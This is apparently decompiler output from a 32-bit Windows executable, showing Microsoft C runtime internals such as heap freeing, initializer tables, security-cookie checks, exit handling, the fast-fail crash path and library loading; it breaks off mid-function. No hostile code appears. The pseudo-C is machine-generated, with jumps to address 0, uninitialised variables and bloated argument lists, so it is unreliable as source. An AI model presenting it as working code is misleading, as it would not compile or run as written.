void** esi19;
void** ebp20;
void** eax21;
void** eax22;

if (a2 && (v17 = g417250, eax18 = reinterpret_cast<void**>(HeapFree(ecx, v17, 0, a2)),

!eax18)) {
eax21 = fun_4060e8(ecx, esi19, v17, 0, a2, ebp20, __return_address(), a2, a3, a4);
eax22 = reinterpret_cast<void**>(GetLastError(ecx));
eax18 = fun_40606f(ecx, eax22);
*reinterpret_cast<void***>(eax21) = eax18;
}
return eax18;
}

void** fun_4051ba(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** v6;
void** v7;
void** ebp8;
void*** ebp9;
uint32_t eax10;
void** v11;
void** esi12;
void** edi13;
void** eax14;

v6 = reinterpret_cast<void**>(__return_address());
v7 = ebp8;
 ebp9 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax10 = g416004;
v11 = reinterpret_cast<void**>(eax10 ^ reinterpret_cast<uint32_t>(ebp9));
esi12 = ecx;
edi13 = esi12 + 4;
while (esi12 != edi13) {
image_base_(a2);
a2(a2);
esi12 = esi12 + 4;
}
eax14 = fun_402f62(reinterpret_cast<unsigned char>(v11) ^
reinterpret_cast<uint32_t>(ebp9), v11, v7, v6, a2, a3, a4, a5);
return eax14;
}

void** fun_40518b(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void** v12;
void** v13;
void** ebp14;
int32_t v15;
int32_t esi16;
void** esi17;
void** eax18;
void** v19;
void** edi20;
void** edi21;
void** v22;
void** eax23;

v12 = reinterpret_cast<void**>(__return_address());
v13 = ebp14;
v15 = esi16;
esi17 = a2;
if (esi17) {
eax18 = *reinterpret_cast<void***>(esi17);
v19 = edi20;
edi21 = esi17;
while (eax18) {
v22 = eax18;
fun_406c46(ecx, v22, v19, *reinterpret_cast<void***>(&v15), v13, v12, a2, a3, a4, a5,
a6, a7, a8, a9, a10, a11);
edi21 = edi21 + 4;
eax18 = *reinterpret_cast<void***>(edi21);
 ecx = v22;
}
eax23 = fun_406c46(ecx, esi17, v19, *reinterpret_cast<void***>(&v15), v13, v12, a2, a3,
a4, a5, a6, a7, a8, a9, a10, a11);
}
return eax23;
}

void** fun_4051fa(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);

void** fun_405215(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);

void** g416db0;

void** fun_405230(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** v9;
void** v10;
void** eax11;

fun_4051ba(0x416da4, fun_4051fa, __return_address(), a1, a2);

fun_4051ba(0x416da8, fun_405215, __return_address(), a1, a2);
v9 = g416db0;
fun_40518b(0x416da8, v9, __return_address(), a1, a2, a3, a4, a5, a6, a7, a8);
v10 = g416dac;
eax11 = fun_40518b(0x416da8, v10, v9, __return_address(), a1, a2, a3, a4, a5, a6, a7);
return eax11;
}

void** fun_4052b2(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
void** v8;
void** ebp9;
void*** ebp10;
void** v11;
uint32_t eax12;
void** v13;
void** esi14;
uint32_t edi15;
uint32_t ebx16;
int32_t ebx17;
int32_t ebx18;
 uint32_t ebx19;
int32_t ebx20;
void** eax21;
void** eax22;

v7 = reinterpret_cast<void**>(__return_address());
v8 = ebp9;
ebp10 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
v11 = ecx;
eax12 = g416004;
v13 = reinterpret_cast<void**>(eax12 ^ reinterpret_cast<uint32_t>(ebp10));
esi14 = a2;
edi15 = 0;
ebx16 = ~(ebx17 - (ebx18 + reinterpret_cast<uint1_t>(ebx19 < ebx20 +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(a3) < reinterpret_cast<unsigned
char>(esi14))))) & reinterpret_cast<unsigned char>(a3) - reinterpret_cast<unsigned
char>(esi14) + 3 >> 2;
if (ebx16) {
do {
eax21 = *reinterpret_cast<void***>(esi14);
v11 = eax21;
if (eax21) {
image_base_(eax21);
v11(eax21);
}
esi14 = esi14 + 4;
++edi15;
} while (edi15 != ebx16);
}
eax22 = fun_402f62(reinterpret_cast<unsigned char>(v13) ^
reinterpret_cast<uint32_t>(ebp10), v11, v13, v8, v7, a2, a3, a4);
return eax22;
}

int32_t GetModuleHandleW = 0x15302;

struct s21 {
int16_t f0;
signed char[58] pad60;
int32_t f3c;
};

struct s22 {
int32_t f0;
 signed char[20] pad24;
int16_t f18;
signed char[90] pad116;
uint32_t f74;
};

signed char fun_4054c0(void** ecx) {

struct s21* eax2;
struct s22* eax3;

eax2 = reinterpret_cast<struct s21*>(GetModuleHandleW(ecx));

if (!eax2 || (eax2->f0 != 0x5a4d || ((eax3 = reinterpret_cast<struct s22*>(eax2->f3c +
reinterpret_cast<int32_t>(eax2)), eax3->f0 != 0x4550) || (eax3->f18 != 0x10b || eax3->f74 <=
14)))) {
goto 0;
} else {
goto 0;
}
}

int32_t GetModuleHandleExW = 0x15468;

int32_t GetProcAddress = 0x14eb0;

void** fun_405504(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void*** ebp6;
uint32_t eax7;
void** v8;
void** v9;
int32_t eax10;
void** eax11;
void** ebp12;
void** eax13;

ebp6 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax7 = g416004;
v8 = reinterpret_cast<void**>(eax7 ^ reinterpret_cast<uint32_t>(ebp6));
v9 = reinterpret_cast<void**>(ebp6 + 0xfffffff8);
eax10 = reinterpret_cast<int32_t>(GetModuleHandleExW(0, "m", v9));
if (eax10) {
eax11 = reinterpret_cast<void**>(GetProcAddress());
if (eax11) {
ecx = eax11;
image_base_(ecx, a2);
 eax11(ecx, a2);
}
}
if (!1) {
FreeLibrary(ecx, 0, 0, "m", v9);
}
eax13 = fun_402f62(reinterpret_cast<unsigned char>(v8) ^ reinterpret_cast<uint32_t>(ebp6),
0, "m", v9, 0, v8, ebp12, __return_address());
return eax13;
}

void fun_4057d8(int32_t a1, void* a2, void* a3);

void fun_405a9f(void** ecx) {

void* ebp2;

ebp2 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

fun_4057d8(2, reinterpret_cast<int32_t>(ebp2) - 4, reinterpret_cast<int32_t>(ebp2) + 8);
return;
}

void fun_407ada(void** a1, ...);

void fun_405470(void** ecx) {

fun_407ada(2);
return;
}

signed char fun_40652f(void** ecx, void** a2, void** a3, void** a4);

struct s23 {
signed char[104] pad104;
uint32_t f68;
};

struct s23* g30;

int32_t ExitProcess = 0x14ec2;

struct s24 {
int32_t f0;
signed char[20] pad24;
int16_t f18;
signed char[90] pad116;
 uint32_t f74;
};

void fun_40547f(void** ecx, void** a2) {

void** ebp3;
signed char al4;
struct s23* eax5;
uint32_t eax6;
int32_t eax7;
struct s21* eax8;
struct s24* eax9;

al4 = fun_40652f(ecx, ebp3, __return_address(), a2);

if (al4 && (eax5 = g30, eax6 = eax5->f68 >> 8, !(*reinterpret_cast<unsigned char*>(&eax6) &
1))) {
eax7 = reinterpret_cast<int32_t>(GetCurrentProcess(a2, ebp3, __return_address()));
TerminateProcess(eax7, a2, ebp3, __return_address());
}
fun_405504(ecx, a2, ebp3, __return_address(), a2);
ExitProcess(a2, a2, ebp3, __return_address());
eax8 = reinterpret_cast<struct s21*>(GetModuleHandleW(a2));
if (!eax8 || (eax8->f0 != 0x5a4d || ((eax9 = reinterpret_cast<struct s24*>(eax8->f3c +
reinterpret_cast<int32_t>(eax8)), eax9->f0 != 0x4550) || (eax9->f18 != 0x10b || eax9->f74 <=
14)))) {
goto 0;
} else {
goto 0;
}
}

int32_t fun_405353(void** ecx, int32_t a2) {

int32_t eax3;

eax3 = 0;
*reinterpret_cast<unsigned char*>(&eax3) = reinterpret_cast<uint1_t>(a2 == 0xe06d7363);
return eax3;
}

void fun_40556e(void** a1, void** a2, void** a3, void** a4, void** a5) {
g416dbc = a1;
return;
}

void** fun_404c5d(void** ecx, void** a2, void** a3, void** a4, void** a5) {
 void** eax6;

__asm__("ror eax, cl");

eax6 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a2) ^ g416004);
return eax6;
}

void fun_4055e9(void** ecx, void** a2) {

fun_405366(ecx, a2, 0, 0);
return;
}

int32_t EnterCriticalSection = 0x15342;

int32_t fun_407a92(void** ecx, void** a2) {

int32_t ebp3;

EnterCriticalSection();
goto ebp3;
}

void** fun_4083e7(void** ecx, void** a2);

void** fun_408630(void** ecx, void** a2);

void** fun_408464(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9);

void** fun_408728(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** eax7;
void** edi8;
void** edi9;
void** esi10;
void** ebp11;

if (!a3 || !a2) {
eax7 = reinterpret_cast<void**>(0);
} else {
edi8 = *reinterpret_cast<void***>(a2);
if (edi8 != a3 && ((*reinterpret_cast<void***>(a2) = a3, fun_4083e7(ecx, a3), !!edi8) &&
((fun_408630(a3, edi8), !*reinterpret_cast<void***>(edi8 + 12)) && edi8 != 0x416580))) {
fun_408464(edi8, edi8, edi9, esi10, ebp11, __return_address(), a2, a3, a4);
}
eax7 = a3;
 }
return eax7;
}

void fun_405690(void** ecx) {

fun_407ada(4);
return;
}

void fun_4038f0(void** ecx, void** a2, void** a3, void** a4, void** a5) {
int32_t ebp6;
int32_t* esp7;
void* ebp8;

g0 = *reinterpret_cast<void***>(ebp6 - 16);
esp7 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(ebp8) + 4 - 4);
*esp7 = reinterpret_cast<int32_t>(__return_address());
goto *esp7;
}

void** fun_409c17(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);

void** fun_409c4a(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11);

void** fun_408778(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31, void**
a32, void** a33) {
void** edi34;
void** edi35;
void** ebx36;
void** esi37;
void** ebp38;
void** eax39;
void** esi40;
void** eax41;
void** eax42;
void** eax43;

if (!a3 || reinterpret_cast<unsigned char>(0xe0 / reinterpret_cast<unsigned char>(a3)) >=

reinterpret_cast<unsigned char>(a4)) {
 if (!a2) {
edi34 = reinterpret_cast<void**>(0);
} else {
eax39 = fun_409c17(ecx, a2, edi35, ebx36, esi37, ebp38, __return_address(), a2);
ecx = a2;
edi34 = eax39;
}
esi40 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a3) *
reinterpret_cast<unsigned char>(a4));
eax41 = fun_409c4a(ecx, a2, esi40, edi35, ebx36, esi37, ebp38, __return_address(), a2,
a3, a4);
if (eax41 && reinterpret_cast<unsigned char>(edi34) < reinterpret_cast<unsigned
char>(esi40)) {
fun_403de0(esi40, reinterpret_cast<unsigned char>(eax41) + reinterpret_cast<unsigned
char>(edi34), 0, reinterpret_cast<unsigned char>(esi40) - reinterpret_cast<unsigned
char>(edi34), edi35, ebx36, esi37, ebp38, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28,
a29, a30, a31, a32, a33);
}
eax42 = eax41;
} else {
eax43 = fun_4060e8(ecx, esi37, ebp38, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax43) = reinterpret_cast<void**>(12);
eax42 = reinterpret_cast<void**>(0);
}
return eax42;
}

uint16_t fun_409081(void** a1);

void** fun_408d7f(void** a1, void** a2) {

uint16_t ax3;
uint16_t v4;
void** ecx5;
uint32_t esi6;
uint32_t edx7;
uint32_t esi8;
void** esi9;
uint16_t ax10;
uint16_t ax11;
uint32_t edx12;
uint32_t ecx13;
uint32_t edx14;
int1_t less15;
__asm__("wait ");
__asm__("fnstcw word [ebp-0x8]");
ax3 = v4;
ecx5 = reinterpret_cast<void**>(0);
if (*reinterpret_cast<unsigned char*>(&ax3) & 1) {
ecx5 = reinterpret_cast<void**>(16);
}
if (*reinterpret_cast<unsigned char*>(&ax3) & 4) {
ecx5 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx5) | 8);
}
if (*reinterpret_cast<unsigned char*>(&ax3) & 8) {
ecx5 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx5) | 4);
}
if (*reinterpret_cast<unsigned char*>(&ax3) & 16) {
ecx5 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx5) | 2);
}
if (*reinterpret_cast<unsigned char*>(&ax3) & 32) {
ecx5 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx5) | 1);
}
if (*reinterpret_cast<unsigned char*>(&ax3) & 2) {
ecx5 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx5) | 0x80000);
}
esi6 = ax3;
edx7 = esi6 & 0xc00;
if (edx7) {
if (edx7 == 0x400) {
ecx5 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx5) | 0x100);
} else {
if (edx7 == 0x800) {
ecx5 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx5) | 0x200);
} else {
if (edx7 == 0xc00) {
ecx5 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx5) | 0x300);
}
}
}
}
esi8 = esi6 & 0x300;
if (!esi8) {
ecx5 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx5) | 0x20000);
} else {
if (esi8 == 0x200) {
ecx5 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx5) | 0x10000);
 }
}
if (0x1000 & ax3) {
ecx5 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx5) | 0x40000);
}
esi9 = reinterpret_cast<void**>(~reinterpret_cast<unsigned char>(a2) &
reinterpret_cast<unsigned char>(ecx5) | reinterpret_cast<unsigned char>(a1) &
reinterpret_cast<unsigned char>(a2));
if (esi9 != ecx5) {
ax10 = fun_409081(esi9);
__asm__("fldcw word [ebp-0x4]");
__asm__("wait ");
__asm__("fnstcw word [ebp-0x4]");
ax11 = ax10;
esi9 = reinterpret_cast<void**>(0);
if (*reinterpret_cast<unsigned char*>(&ax11) & 1) {
esi9 = reinterpret_cast<void**>(16);
}
if (*reinterpret_cast<unsigned char*>(&ax11) & 4) {
esi9 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi9) | 8);
}
if (*reinterpret_cast<unsigned char*>(&ax11) & 8) {
esi9 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi9) | 4);
}
if (*reinterpret_cast<unsigned char*>(&ax11) & 16) {
esi9 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi9) | 2);
}
if (*reinterpret_cast<unsigned char*>(&ax11) & 32) {
esi9 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi9) | 1);
}
if (*reinterpret_cast<unsigned char*>(&ax11) & 2) {
esi9 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi9) | 0x80000);
}
edx12 = ax11;
ecx13 = edx12 & 0xc00;
if (ecx13) {
if (ecx13 == 0x400) {
esi9 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi9) | 0x100);
} else {
if (ecx13 == 0x800) {
esi9 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi9) | 0x200);
} else {
if (ecx13 == 0xc00) {
esi9 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi9) | 0x300);
 }
}
}
}
edx14 = edx12 & 0x300;
if (!edx14) {
esi9 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi9) | 0x20000);
} else {
if (edx14 == 0x200) {
esi9 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi9) | 0x10000);
}
}
if (0x1000 & ax11) {
esi9 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi9) | 0x40000);
}
}
less15 = reinterpret_cast<int32_t>(g416ae0) < reinterpret_cast<int32_t>(1);
if (less15) {
return esi9;
}
}

struct s25 {
signed char[8] pad8;
void** f8;
};

void** fun_408a49(void** a1, void** a2);

void fun_408c8c();

void fun_40cb00(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7);

void** fun_408ac3(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11);

int32_t g40ed7c = 3;

int32_t g40ed80 = 9;

void** fun_408a07(void** a1);

void fun_408acc(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
void** v10;
void** ebx11;
int32_t ebp12;
int32_t ebp13;
int32_t ebp14;
void** esi15;
struct s25* ebp16;
void** eax17;
int32_t ebp18;
void** v19;
void** eax20;
void** eax21;
int32_t ebp22;
void** eax23;
void** eax24;
int32_t ebp25;
int32_t ebp26;
int32_t ebp27;
int32_t ebp28;
int32_t ebp29;
int32_t ebp30;
uint32_t edx31;
int32_t ebp32;
uint32_t edx33;
int32_t ebp34;
int32_t ebp35;
int32_t edx36;
int32_t ebp37;
int32_t ebp38;
int32_t ebp39;
int32_t ebp40;
void** v41;
int32_t ecx42;
int32_t ebp43;
int32_t ebp44;
void** eax45;
int32_t ecx46;
int32_t ebp47;
int32_t ebp48;
int32_t ebp49;
void** eax50;
int32_t ebp51;
int32_t ebp52;
void** eax53;
int32_t ebp54;
void** eax55;
void** eax56;
int32_t ebp57;
void* eax58;
void** eax59;
void* ecx60;
int32_t ebp61;
void** eax62;

v10 = reinterpret_cast<void**>(__return_address());
fun_40cab0(0x414aa8, 44, v10);
ebx11 = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(ebp12 - 44) = reinterpret_cast<void**>(0);
*reinterpret_cast<uint32_t*>(ebp13 - 52) = 0;
*reinterpret_cast<unsigned char*>(&ecx) = 1;
*reinterpret_cast<unsigned char*>(ebp14 - 29) = 1;
esi15 = ebp16->f8;
if (reinterpret_cast<signed char>(esi15) > reinterpret_cast<signed char>(8)) {
if (esi15 == 11) {
addr_408b26_3:
eax17 = fun_4069e2(ecx, 0x414aa8, 44, v10, a2, a3, a4, a5, a6, a7, a8);
ebx11 = eax17;
*reinterpret_cast<void***>(ebp18 - 44) = ebx11;
if (ebx11) {
v19 = *reinterpret_cast<void***>(ebx11);
eax20 = fun_408a49(esi15, v19);
ecx = reinterpret_cast<void**>(0);
*reinterpret_cast<unsigned char*>(&ecx) = reinterpret_cast<uint1_t>(!!eax20);
if (ecx) {
eax21 = eax20 + 8;
*reinterpret_cast<unsigned char*>(&ecx) = 0;
*reinterpret_cast<unsigned char*>(ebp22 - 29) = 0;
} else {
addr_408b51_6:
eax23 = fun_4060e8(ecx, 0x414aa8, 44, v10, a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax23) = reinterpret_cast<void**>(22);
fun_40602c(ecx, 0x414aa8, 44, v10, a2);
goto addr_408b34_7;
}
} else {
addr_408b34_7:
goto addr_408cce_8;
}
 } else {
if (esi15 == 15)
goto addr_408b1b_10;
if (reinterpret_cast<signed char>(esi15) <= reinterpret_cast<signed char>(20))
goto addr_408b51_6;
if (reinterpret_cast<signed char>(esi15) > reinterpret_cast<signed char>(22))
goto addr_408b51_6; else
goto addr_408b1b_10;
}
} else {
if (esi15 == 8)
goto addr_408b26_3;
eax24 = esi15 + 0xffffffff - 1;
if (!eax24)
goto addr_408b1b_10; else
goto addr_408af9_15;
}
addr_408b6b_16:
*reinterpret_cast<void***>(ebp25 - 40) = eax21;
*reinterpret_cast<uint32_t*>(ebp26 - 48) = 0;
if (*reinterpret_cast<unsigned char*>(&ecx)) {
fun_407a92(ecx, 3);
ecx = reinterpret_cast<void**>(3);
*reinterpret_cast<unsigned char*>(&ecx) = *reinterpret_cast<unsigned char*>(ebp27 - 29);
}
*reinterpret_cast<uint32_t*>(ebp28 - 36) = 0;
*reinterpret_cast<signed char*>(ebp29 - 30) = 0;
*reinterpret_cast<uint32_t*>(ebp30 - 4) = 0;
if (!*reinterpret_cast<unsigned char*>(&ecx)) {
edx31 = **reinterpret_cast<uint32_t**>(ebp32 - 40);
} else {
edx33 = g416004;
ecx = reinterpret_cast<void**>(edx33 & 31);
edx31 = edx33 ^ **reinterpret_cast<uint32_t**>(ebp32 - 40);
__asm__("ror edx, cl");
*reinterpret_cast<unsigned char*>(&ecx) = *reinterpret_cast<unsigned char*>(ebp34 - 29);
}
*reinterpret_cast<uint32_t*>(ebp35 - 36) = edx31;
edx36 = 0;
*reinterpret_cast<unsigned char*>(&edx36) = reinterpret_cast<uint1_t>(edx31 == 1);
*reinterpret_cast<int32_t*>(ebp37 - 56) = edx36;
*reinterpret_cast<unsigned char*>(ebp38 - 30) = *reinterpret_cast<unsigned char*>(&edx36);
if (*reinterpret_cast<unsigned char*>(&edx36)) {
addr_408c4f_22:
 *reinterpret_cast<int32_t*>(ebp39 - 4) = -2;
fun_408c8c();
if (!*reinterpret_cast<signed char*>(ebp40 - 56)) {
if (!reinterpret_cast<int1_t>(esi15 == 8)) {
v41 = esi15;
ecx42 = *reinterpret_cast<int32_t*>(ebp43 - 36);
image_base_(ecx42);
*reinterpret_cast<int32_t*>(ebp44 - 36)(ecx42);
} else {
eax45 = fun_40695e(ecx, 0x414aa8, 44, v10, a2, a3, a4, a5, a6, a7, a8, a9);
v41 = *reinterpret_cast<void***>(eax45 + 8);
ecx46 = *reinterpret_cast<int32_t*>(ebp47 - 36);
image_base_(ecx46);
*reinterpret_cast<int32_t*>(ebp48 - 36)(ecx46);
}
ecx = v41;
if ((esi15 == 8 || (esi15 == 11 || reinterpret_cast<int1_t>(esi15 == 4))) &&
(*reinterpret_cast<void***>(ebx11 + 4) = *reinterpret_cast<void***>(ebp49 - 48),
reinterpret_cast<int1_t>(esi15 == 8))) {
eax50 = fun_40695e(ecx, 0x414aa8, 44, v10, a2, a3, a4, a5, a6, a7, a8, a9);
ecx = *reinterpret_cast<void***>(ebp51 - 52);
*reinterpret_cast<void***>(eax50 + 8) = ecx;
}
}
} else {
if (!edx31) {
if (*reinterpret_cast<unsigned char*>(&ecx)) {
fun_407ada(3);
ecx = reinterpret_cast<void**>(3);
}
fun_40559b(ecx, 3);
}
if (esi15 == 8)
goto addr_408bea_33;
if (esi15 == 11)
goto addr_408bea_33;
if (!reinterpret_cast<int1_t>(esi15 == 4))
goto addr_408c0d_36; else
goto addr_408bea_33;
}
addr_408cce_8:
fun_40cb00(ecx, 0x414aa8, 44, v10, a2, a3, a4);
goto 0x414aa8;
addr_408bea_33:
 *reinterpret_cast<void***>(ebp52 - 48) = *reinterpret_cast<void***>(ebx11 + 4);
*reinterpret_cast<void***>(ebx11 + 4) = reinterpret_cast<void**>(0);
if (!reinterpret_cast<int1_t>(esi15 == 8))
goto addr_408c33_38;
eax53 = fun_408ac3(ecx, 0x414aa8, 44, v10, a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(ebp54 - 52) = *reinterpret_cast<void***>(eax53);
eax55 = fun_408ac3(ecx, 0x414aa8, 44, v10, a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax55) = reinterpret_cast<void**>(0x8c);
addr_408c0d_36:
if (!reinterpret_cast<int1_t>(esi15 == 8)) {
addr_408c33_38:
__asm__("ror eax, cl");
eax56 = reinterpret_cast<void**>(g416004);
ecx = *reinterpret_cast<void***>(ebp57 - 40);
*reinterpret_cast<void***>(ecx) = eax56;
goto addr_408c4f_22;
} else {
eax58 = reinterpret_cast<void*>(g40ed7c * 12);
eax59 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(eax58) +
reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(ebx11)));
ecx60 = reinterpret_cast<void*>(g40ed80 * 12);
ecx = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ecx60) +
reinterpret_cast<unsigned char>(eax59));
while (*reinterpret_cast<void***>(ebp61 - 60) = eax59, eax59 != ecx) {
*reinterpret_cast<void***>(eax59 + 8) = reinterpret_cast<void**>(0);
eax59 = eax59 + 12;
}
goto addr_408c4f_22;
}
addr_408b1b_10:
eax21 = fun_408a07(esi15);
goto addr_408b6b_16;
addr_408af9_15:
eax62 = eax24 - 1 - 1;
if (!eax62)
goto addr_408b26_3;
if (eax62 - 1 - 1)
goto addr_408b51_6;
goto addr_408b1b_10;
}

int32_t fun_40c86c(void** ecx, void** a2, void** a3, void** a4, void** a5) {
goto IsProcessorFeaturePresent;
}
void fun_40603c(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
int32_t eax7;
void** esi8;

eax7 = fun_40c86c(ecx, 23, __return_address(), a2, a3);

if (eax7) {
ecx = reinterpret_cast<void**>(5);
__asm__("int 0x29");
}
fun_405e62(ecx, 2, 0xc0000417, 1, esi8, 23, __return_address(), a2);
GetCurrentProcess(ecx);
TerminateProcess(ecx);
goto 0xc0000417;
}

int32_t IsDebuggerPresent = 0x152dc;

void** fun_405e62(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void* ebp9;
uint32_t eax10;
void** edi11;
void** v12;
void** v13;
void** v14;
void** v15;
void** v16;
void** v17;
void** v18;
void** v19;
void** v20;
void** v21;
void** v22;
void** v23;
void** v24;
void** v25;
void** v26;
void** v27;
void** v28;
void** v29;
void** v30;
void** v31;
void** v32;
void** v33;
void** v34;
void** v35;
void** v36;
void** v37;
void** v38;
void** v39;
void** v40;
void** v41;
void** v42;
void** v43;
void** v44;
void** v45;
void** v46;
void** v47;
void** v48;
void** v49;
void** v50;
void** v51;
void** v52;
void** v53;
void** v54;
void** v55;
void** v56;
void** v57;
void** v58;
void** v59;
void** v60;
void** v61;
void** v62;
void** v63;
void** v64;
void** v65;
void** v66;
void** v67;
void** v68;
void** v69;
void** v70;
void** v71;
void** v72;
void** v73;
void** v74;
void** v75;
void** v76;
 void** v77;
void** v78;
void** v79;
void** v80;
void** v81;
void** v82;
void** v83;
void** v84;
void** v85;
void** v86;
void** v87;
void** v88;
void** v89;
int32_t eax90;
int32_t eax91;
uint32_t ecx92;
void** v93;
int32_t v94;
void** eax95;

ebp9 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax10 = g416004;
if (a2 != 0xffffffff) {
fun_40383d(a2, edi11, v12, v13, v14, v15, v16, v17);
ecx = a2;
}
v18 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp9) + 0xfffffce0);
fun_403de0(ecx, v18, 0, 80, edi11, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30,
v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49,
v50, v51, v52, v53, v54);
fun_403de0(ecx, reinterpret_cast<uint32_t>(ebp9) + 0xfffffd30, 0, 0x2cc, v18, 0, 80, edi11,
v55, v56, v57, v58, v59, v60, v61, v62, v63, v64, v65, v66, v67, v68, v69, v70, v71, v72, v73,
v74, v75, v76, v77, v78, v79, v80, v81, v82, v83, v84, v85, v86, v87);
v88 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp9) + 0xfffffce0);
v89 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ebp9) + 0xfffffd30);
eax90 = reinterpret_cast<int32_t>(IsDebuggerPresent(edi11, v88, v89, a3, a4));
SetUnhandledExceptionFilter(0, edi11, v88, v89, a3, a4);
eax91 = reinterpret_cast<int32_t>(UnhandledExceptionFilter());
if (!eax91 && (!eax90 && a2 != 0xffffffff)) {
fun_40383d(a2, reinterpret_cast<uint32_t>(ebp9) + 0xfffffcd8, 0, edi11, v88, v89, a3, a4);
}
ecx92 = eax10 ^ reinterpret_cast<uint32_t>(ebp9) ^ reinterpret_cast<uint32_t>(ebp9);
eax95 = fun_402f62(ecx92, 0, edi11, v88, v89, a3, a4, v93, ecx92, 0, edi11, v88, v89, a3, a4,
v94);
 return eax95;
}

void** fun_40606f(void** ecx, void** a2) {

void** ecx3;
uint32_t eax4;
void* eax5;

ecx3 = a2;
eax4 = 0;
do {
if (ecx3 == *reinterpret_cast<void***>(eax4 * 8 + 0x40ee28))
break;
++eax4;
} while (eax4 < 45);
goto addr_406088_4;
return *reinterpret_cast<void***>(eax4 * 8 + 0x40ee2c);
addr_406088_4:
if (reinterpret_cast<uint32_t>(ecx3 + 0xffffffed) > 17) {
eax5 = reinterpret_cast<void*>(ecx3 + 0xffffff44);
return (reinterpret_cast<uint32_t>(eax5) - (reinterpret_cast<uint32_t>(eax5) +
reinterpret_cast<uint1_t>(reinterpret_cast<uint32_t>(eax5) < reinterpret_cast<uint32_t>(eax5) +
reinterpret_cast<uint1_t>(14 < reinterpret_cast<uint32_t>(eax5)))) & 14) + 8;
} else {
return 13;
}
}

void** fun_406197(void** ecx, void** a2) {

void*** edi3;
int32_t ebx4;
void** eax5;
void** esi6;
void** tmp32_7;
void** eax8;
void** eax9;
uint32_t eax10;
void** eax11;

edi3 = reinterpret_cast<void***>(reinterpret_cast<unsigned char>(a2) * 4 + 0x416df0);

if (!*edi3) {
ebx4 = *reinterpret_cast<int32_t*>(reinterpret_cast<unsigned char>(a2) * 4 + 0x40ef90);
eax5 = reinterpret_cast<void**>(LoadLibraryExW());
esi6 = eax5;
 if (esi6) {
addr_4061fc_3:
tmp32_7 = *edi3;
*edi3 = esi6;
if (tmp32_7) {
FreeLibrary(esi6);
}
} else {
